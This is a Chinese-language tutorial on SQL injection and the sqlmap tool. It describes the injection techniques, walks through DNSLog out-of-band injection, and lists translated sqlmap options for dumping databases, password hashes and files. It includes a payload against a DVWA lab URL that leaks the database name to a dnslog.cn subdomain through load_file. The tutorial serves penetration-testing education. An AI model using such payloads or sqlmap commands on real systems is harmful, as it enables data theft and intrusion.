sqlmap 官网:http://sqlmap.org/
sqlmap文档地址:https://github.com/sqlmapproject/sqlmap/wiki/Usage
sqlmap 使用 思维导图:http://download.csdn.net/detail/freeking101/9887831
黑帽与白帽都喜爱的十大SQL注入工具:http://www.aqniu.com/industry/1449.html
国内外 SQL 神器 :http://blog.csdn.net/heimian/article/details/7080822
前面闭合;要执行的sql;后面闭合
sql 注释的三种方式
- --空格
- --+
- #
1、sqlmap 简介
SQL 注入
SQL注入就是通过把 SQL 命令插入到 Web表单提交 或 输入域名 或 页面URL请求查询的字符串,最终达到欺骗服务器执行恶意的 SQL命令,假如管理员没有对 id 参数进行过滤那么黑客可以通过数据传输点将恶意的SQL语句带入查询。
sqlmap
sqlmap 是一个开源的渗透测试工具,可以用来自动化的检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。目前支持的数据库有 MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access 等几乎所有数据库。
sqlmap 支持的注入方式
sqlmap 全面支持 6 种 SQL注入技术:
- 基于布尔类型的盲注:根据返回页面,判断条件真假的注入。适用场景:没有数据回显,条件正确时有结果,条件错误时没有结果。利用方法:构造判断条件,逐个猜测(盲猜) ( :https://www.bilibili.com/video/BV1jL4y1j7i6?p=45: )
- 基于时间的盲注:当不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已执行( 即页面返回时间是否增加 )来判断。( :https://www.bilibili.com/video/BV1jL4y1j7i6?p=46: )
- 基于报错注入:页面会返回错误信息,或者把注入的语句的结果直接返回到页面中。主要是利用 sql 语法错误,返回错误信息,错误信息中包含敏感信息。( :https://www.bilibili.com/video/BV1jL4y1j7i6?p=47 )
- 联合查询注入:在可以使用 Union 的情况下的注入。
- 堆查询注入:可以同时执行多条语句时的注入。
- 带外注入:构造SQL语句,这些语句在呈现给数据库时会触发数据库系统创建与攻击者控制的外部服务器的连接。以这种方式,攻击者可以收集数据或可能控制数据库的行为。
DNSLog 注入
原理:
根据 dnslog 原理,既然 dns 请求可以,那么 http 请求也可以。
:https://blog.csdn.net/weixin_47559704/article/details/122473265
在 sql 注入时,布尔盲注、时间盲注,注入的效率低且线程高容易被 waf 拦截,又或者是目标站点没有回显,在读取文件、执行命令注入等操作时无法明显的确认是否利用成功,这时候就要用到DNSlog 注入。首先需要有一个可以配置的域名,比如:xxx.io,然后通过代理商设置域名 xxx.io 的 nameserver 为自己的服务器 A,然后再服务器 A 上配置好 DNS Server,这样以来所有 xxx.io 及其子域名的查询都会到 服务器 A 上,这时就能够实时地监控域名查询请求了。
DNS 在解析的时候会留下日志,咱们这个就是读取多级域名的解析日志,来获取信息。简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息
UNC ( Universal Naming Convention ) 通用命名规则
格式:\servername\sharename,其中 servername 是服务器名。sharename是共享资源的名称。
目录或文件的 UNC 名称可以包括共享名称下的目录路径,格式为:\servername\sharename\directory\filename。
其实平常在 Widnows中用共享文件的时候就会用到这种网络地址的形式:\sss.xxx\test 。
这也就解释了为什么 CONCAT() 函数拼接了4个 \ ,因为转义的原因,4个就变\成了2个\,目的就是利用UNC路径。
例如:http://dvwa/vulnerabilities/sqli_blind/?id=1' and (select load_file(concat('\\\\',(select database()),'.vlfrr9.dnslog.cn\\abc')))--+&Submit=Submit#
这里concat函数拼接了4个\最后变成2个\
子域名 网址 推荐
:http://www.dnslog.cn
:http://admin.dnslog.link
可以发起 http 请求,需要注册:http://ceye.io
sql 注入利用
通过 DNSlog 盲注需要用的 load_file() 函数,所以一般得是 root 权限。show variables like ‘%secure%’; 查看 load_file() 可以读取的磁盘。
1、当secure_file_priv为空,就可以读取磁盘的目录。
2、当secure_file_priv为G:\,就可以读取G盘的文件。
3、当secure_file_priv为null,load_file就不能加载文件。
如果为Null解决如下:
windows下:修改my.ini 在[mysqld]内加入secure_file_priv =
linux下:修改my.cnf 在[mysqld]内加入secure_file_priv =
如遇到MySql的盲注时,可以利用内置函数load_file()来完成DNSLOG。load_file()不仅能够加载本地文件,同时也能对诸如\www.test.com这样的URL发起请求。
show variables like '%secure%';
通过设置 my.ini 来配置。secure_file_priv="" 就是可以 load_flie 任意磁盘的文件。
以管理员身份打开 cmd 重启后
net stop mysql
net start mysql
http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1' and (select load_file(concat('\\\\',(select database()),'.fl1ka5.dnslog.cn\\abc')))--+&Submit=Submit#
这里使用的是http://www.dnslog.cn/
点击Get SubDomain,将获取的dnslog替换掉,执行以后点击Refresh Record,这样就查询到了我们所需要的数据库名称。表名,字段名亦是如此。
dnslogsql 注入工具:https://github.com/search?q=dnslog
2、sqlmap 命令帮助
sqlmap 官网:http://sqlmap.org/ Sqlmap 的安装需要Python环境,最新版可以运行在 Python 2.6, 2.7 和 3.x 版本的任何平台上。下载完成后可以添加进环境变量,方便使用(不添加也可以用)
sqlmap 参数的 2 种写法:
- sqlmap.py -u "url" --tamper "xxx.py"
- sqlmap.py -u "url" --tamper="xxx.py"
sqlmap -hh
选项:
-h, --help 基本帮助信息
-hh 高级帮助信息
--version 版本号
-v VERBOSE 详细级别:0-6(默认为 1)
目标:( 即 http 请求的 url。下面几个参数至少要有一个 )
-u URL,--url=URL 目标 URL ( 例如 http://www.site.com/vuln.php?id=1 )
-d DIRECT 直接连接数据库的连接字符串
-l LOGFILE 从 Burp 或 WebScarab 代理日志文件中解析目标
-m BULKFILE 扫描文本文件中给定的多个目标
-r REQUESTFILE 从文件加载 HTTP 请求
-g GOOGLEDORK 将 Google dork 结果作为目标 URL 处理
-c CONFIGFILE 从配置 INI 文件加载选项
http 请求的相关设置:( 指定如何连接到目标 URL )
-A AGENT, --user.. HTTP User-Agent 标头值
-H HEADER, --hea.. 额外的标题(例如“X-Forwarded-For: 127.0.0.1”)
--method=METHOD 强制使用给定的 HTTP 方法(例如 PUT)
--data=DATA 通过 POST 发送的数据字符串(例如 id=1)
--param-del=PARA.. 用于分割参数值的字符(例如 &)
--cookie=COOKIE Cookie 标头值(例如“PHPSESSID=a8d127e..”)
--cookie-del=COO.. 用于分割 cookie 值的字符(例如 ;)
--live-cookies=L.. 用于加载最新值的实时 cookie 文件
--load-cookies=L.. 包含 Netscape/wget 格式的 cookie 的文件
--drop-set-cookie 忽略响应中的 Set-Cookie 标头
--mobile 通过 HTTP User-Agent header 模仿智能手机
--random-agent 构造随机 user-agent
--host=HOST HTTP 主机标头值
--referer=REFERER HTTP 引用头值
--headers=HEADERS 额外的标题(例如“Accept-Language: fr\nETag: 123”)
--auth-type=AUTH.. HTTP 认证类型(Basic、Digest、Bearer、...)
--auth-cred=AUTH.. HTTP 身份验证凭据(名称:密码)
--auth-file=AUTH.. HTTP 认证 PEM 证书/私钥文件
--ignore-code=IG.. 忽略(有问题的)HTTP 错误代码(例如 401)
--ignore-proxy 忽略系统默认代理设置
--ignore-redirects 忽略重定向尝试
--ignore-timeouts 忽略连接超时
--proxy=PROXY 使用代理连接到目标 URL。示例:--proxy=http://local:8080
--proxy-cred=PRO.. 代理身份验证凭据(名称:密码)
--proxy-file=PRO.. 从文件加载代理列表
--proxy-freq=PRO.. 从给定列表更改代理之间的请求
--tor 使用 Tor 匿名网络
--tor-port=TORPORT 设置 Tor 代理端口不是默认端口
--tor-type=TORTYPE 设置 Tor 代理类型(HTTP、SOCKS4 或 SOCKS5(默认))
--check-tor 检查 Tor 是否正确使用
--delay=DELAY 每个 HTTP 请求之间的延迟秒数
--timeout=TIMEOUT 连接超时前等待的秒数(默认 30)
--retries=RETRIES 连接超时重试(默认3)
--retry-on=RETRYON 对正则表达式匹配内容的重试请求(例如“drop”)
--randomize=RPARAM 随机更改给定参数的值
--safe-url=SAFEURL 测试时经常访问的URL地址
有的 web 程序会在多次错误访问后屏蔽所有请求,
这样就导致之后所有的测试无法进行,
使用 --safe-url,每隔一段时间去访问一个正常的页面。
--safe-post=SAFE.. POST 数据发送到一个安全的 URL
--safe-req=SAFER.. 从文件加载安全的 HTTP 请求
--safe-freq=SAFE.. 访问安全 URL 之间的定期请求
--skip-urlencode 跳过有效载荷数据的 URL 编码
--csrf-token=CSR.. 用于保存anti-CSRF令牌的参数
--csrf-url=CSRFURL 提取反 CSRF 令牌要访问的 URL 地址
--csrf-method=CS.. 在反 CSRF 令牌页面访问期间使用的 HTTP 方法
--csrf-retries=C.. 重试反 CSRF 令牌检索(默认 0)
--force-ssl 强制使用 SSL/HTTPS
--chunked 使用 HTTP 分块传输编码 (POST) 请求
--hpp 使用 HTTP 参数污染方式
HTTP参数污染可能会绕过WAF/IPS/IDS保护机制,
这个对ASP/IIS与ASP.NET/IIS平台很有效。
--eval=EVALCODE 在请求之前评估提供的 Python 代码
(例如"导入 hashlib;id2=hashlib.md5(id).hexdigest()")
优化:( 用来优化 sqlmap 的性能 )
-o 打开所有优化开关
--predict-output 预测常见查询输出
--keep-alive 使用持久的 HTTP(s) 连接。即保持连接
--null-connection 在没有实际 HTTP 响应正文的情况下检索页面长度
--threads=THREADS 最大并发 HTTP(s) 请求数(默认 1)
注入:( 用于指定要测试的参数,提供自定义注入payload和可选的篡改脚本 )
-p TESTPARAMETER 要测试的参数
--skip=SKIP 测试时跳过的参数
当使用的 --level 值很大,但有个别参数不想测试时可以使用
--skip-static 跳过看起来不是动态的测试参数。
--param-exclude=.. 使用正则排除要测试的参数(例如“ses”)
--param-filter=P.. 按位置选择可测试的参数(例如“POST”)
--dbms=DDBMS 指定数据库类型。示例:--dbms=mysql
--dbms-cred=DBMS.. DBMS 身份验证凭据(用户:密码)
--os=OS 强制后端 DBMS 操作系统为提供的值
--invalid-bignum 使用大数字使值无效
--invalid-logical 使用逻辑运算使值无效
--invalid-string 使用随机字符串使值无效
--no-cast 关闭有效载荷投射机制
--no-escape 关闭字符串转义机制
--prefix=PREFIX 注入负载 的 前缀字符串
--suffix=SUFFIX 注入载荷 的 后缀字符串
--tamper=TAMPER 使用给定的脚本来篡改注入数据
检测:( 用于自定义检测阶段 )
--level=LEVEL 要执行的测试级别(1-5,默认 1)
--risk=RISK 执行测试的风险(1-3,默认1)
--string=STRING 查询评估为 True 时匹配的字符串
--not-string=NOT.. 查询评估为 False 时匹配的字符串
--regexp=REGEXP 查询评估为 True 时匹配的正则表达式
--code=CODE 查询评估为 True 时匹配的 HTTP 代码
--smart 仅在积极的启发式方法时执行彻底的测试,启发式判断注入
有时对目标非常多的URL进行测试,为节省时间只对能够快速判断为注入的报错点进行注入
--text-only 仅根据文本内容比较页面
--titles 仅根据标题比较页面
注入使用的技术:( 用于调整特定 SQL 注入的测试技术 )
--technique=TECH.. 要使用的 SQL 注入技术(默认“BEUSTQ”)
--time-sec=TIMESEC 延迟 DBMS 响应的秒数(默认 5)。设定延迟注入的时间
--union-cols=UCOLS 用于测试 UNION 查询 SQL 注入的列范围。
默认情况下 sqlmap 测试 UNION 查询注入会测试1-10个字段数,
当--level为5的时候他会增加测试到50个字段数。
--union-cols 值是一段整数,如:12-16,是测试12-16个字段数
--union-char=UCHAR 用于强制列数的字符
设定UNION查询使用的字符。参数:--union-char
默认情况下sqlmap针对UNION查询的注入会使用NULL字符,
但是有些情况下会造成页面返回失败,而一个随机整数是成功的,
这时你可以用--union-char只定UNION查询的字符。
--union-from=UFROM 表在 UNION 查询 SQL 注入的 FROM 部分中使用
--dns-domain=DNS.. 用于 DNS 渗透攻击的域名
--second-url=SEC.. 搜索二阶响应的结果页面 URL
--second-req=SEC.. 从文件加载二阶 HTTP 请求
指纹:
-f, --fingerprint 执行广泛的 DBMS 版本指纹
枚举:( 用于枚举后端数据库管理系统信息、结构和数据包含在表 )
-a, --all 检索所有内容
-b, --banner 检索 DBMS 横幅
--current-user 检索 DBMS 当前用户
--current-db 检索 DBMS 当前数据库
--hostname 检索 DBMS 服务器主机名
--is-dba 检测 DBMS 当前用户是否为 DBA
--users 枚举 DBMS 用户
--passwords 枚举 DBMS 用户密码哈希
--privileges 枚举 DBMS 用户权限
--roles 枚举 DBMS 用户角色
--dbs 枚举 DBMS 数据库
--tables 枚举 DBMS 数据库表
--columns 枚举 DBMS 数据库表列
--schema 枚举 DBMS 模式
--count 检索表的条目数
--dump 转储 DBMS 数据库表条目
--dump-all 转储所有 DBMS 数据库表条目
--search 搜索列、表和/或数据库名称
--comments 在枚举期间检查 DBMS 注释
--statements 检索在 DBMS 上运行的 SQL 语句
-D DB DBMS 数据库枚举
-T TBL DBMS 数据库表枚举
-C COL DBMS 数据库表列枚举
-X EXCLUDE DBMS 数据库标识符不枚举
-U USER DBMS 用户枚举
--exclude-sysdbs 枚举表时排除 DBMS 系统数据库
--pivot-column=P.. 透视列名
--where=DUMPWHERE 在表转储时使用 WHERE 条件
--start=LIMITSTART 要检索的第一个转储表条目
--stop=LIMITSTOP 要检索的最后一个转储表条目
--first=FIRSTCHAR 要检索的第一个查询输出单词字符
--last=LASTCHAR 最后查询输出要检索的单词字符
--sql-query=SQLQ.. 要执行的SQL语句
--sql-shell 提示交互式 SQL shell
--sql-file=SQLFILE 从给定文件执行 SQL 语句
爆 破:( 用于运行蛮力检查 )
--common-tables 检查公用表是否存在
--common-columns 检查公共列是否存在
--common-files 检查公共文件是否存在
用户自定义函数注入:( 用于创建自定义的用户定义函数 )
--udf-inject 注入用户定义的函数
--shared-lib=SHLIB 共享库的本地路径
文件系统访问:( 用于访问后端数据库管理系统底层文件系统 )
--file-read=FILE.. 从后端 DBMS 文件系统读取文件
--file-write=FIL.. 往后端 DBMS 文件系统上写入本地文件